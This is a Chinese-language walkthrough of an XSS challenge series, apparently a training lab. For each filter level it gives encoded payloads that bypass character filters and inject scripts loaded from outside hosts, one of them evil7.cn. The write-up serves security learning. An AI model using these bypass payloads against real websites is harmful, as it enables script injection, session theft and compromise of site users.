独孤九剑xss通关教程
字数 1270 2025-08-11 17:40:12
XSS绕过技术:独孤九剑通关教程
第一式:基础绕过(过滤=())
过滤规则:过滤了等号(=)和括号(())
绕过方法:
- 使用HTML实体编码绕过过滤
- 在SVG标签下的script标签中可以使用HTML编码
payload示例:
?data="><svg><script>%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
解码后:
eval(location.hash.slice(1))
第二式:过滤点号(新增.的过滤)
过滤规则:过滤了=().和新增了.的过滤
绕过方法:
- 使用setTimeout和反引号(``)代替括号
- 使用Unicode编码绕过对()和.的限制
payload示例:
http://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\u0065\u0076\u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029`;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
第三式:放开等号但新增过滤(过滤().&#\)
过滤规则:放开了=的过滤,新增了&#\的过滤
绕过方法:
- 直接使用script标签加载外部JS
- 使用%2e URL编码绕过对点号的过滤
payload示例:
http://xcao.vip/test/xss3.php?data=%22%3E%3Cscript%20src=http://xcao%252evip/xss/alert%252ejs%3E%3C/script%3E
第四式:URL编码绕过(过滤().&#\)
过滤规则:同上,但允许使用%编码
绕过方法:
- 使用javascript伪协议+URL编码
- 使用location.replace方法引入javascript协议
- 将().分别用%2528 %2529 %252e编码
payload示例:
http://xcao.vip/test/xss4.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%3C!--
第五式:IP十进制绕过(新增%的过滤)
过滤规则:新增了%的过滤,不再过滤=
绕过方法:
- 将IP地址转换成十进制表示
- 使用自己的域名跳转到目标域名
payload示例:
http://xcao.vip/test/xss5.php?data=%22%3E%3Cscript%20src=http://2067398186/xxx%3E%3C/script%3E
第六式:iframe与base64结合
绕过方法:
- 使用iframe标签配合base64编码的JS加载
- 利用frames[0].location.replace方法
payload示例:
http://xcao.vip/test/xss6.php?data=%22%3E%3Ciframe%3E%3C/iframe%3E%3Cscript%3Eframes[0][%22location%22][%22replace%22]`data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cHM6Ly9ldmlsNy5jbi90ZXN0L3hzcy5qcz48L3NjcmlwdD4`%3C/script%3E
第七式:输入点在JS中
绕过方法:
- 将=,<,>进行ASCII编码
- 使用hash保存工具向量
payload示例:
http://xcao.vip/test/xss7.php/?data=1;[]['constructor']['constructor']`a${location['hash']['slice']`1`}```#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
第八式:严格过滤(新增'"[]的过滤)
过滤规则:新增了'"[]的过滤
绕过方法:
- 使用base64编码JS代码
- 利用Function构造函数执行解码后的代码
payload示例:
http://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}```
第八-1式:过滤大括号(新增{}的过滤)
过滤规则:新增了{}的过滤
绕过方法:
- 使用伪协议和base64编码
- 利用location.replace方法执行javascript协议
payload示例:
http://xcao.vip/test/xss8-1.php?data=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`replace`]`javascript:a`
第八-2式:过滤Function
过滤规则:新增了Function的过滤
绕过方法:
- 使用window.open方法
- 利用javascript:协议和base64编码
payload示例:
http://xcao.vip//test/xss8-2.php?data=open javascript:name//${atob PGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc%2b }
总结
- 编码技术:HTML实体编码、URL编码、Unicode编码、base64编码
- 标签利用:script、svg、iframe等标签的灵活使用
- 协议利用:javascript伪协议、data协议
- 方法调用:Function构造函数、setTimeout、location.replace、window.open等
- IP表示:十进制IP地址表示法
- 字符串构造:使用String.fromCharCode构造字符串
这些技术可以组合使用,根据具体的过滤规则选择最合适的绕过方法。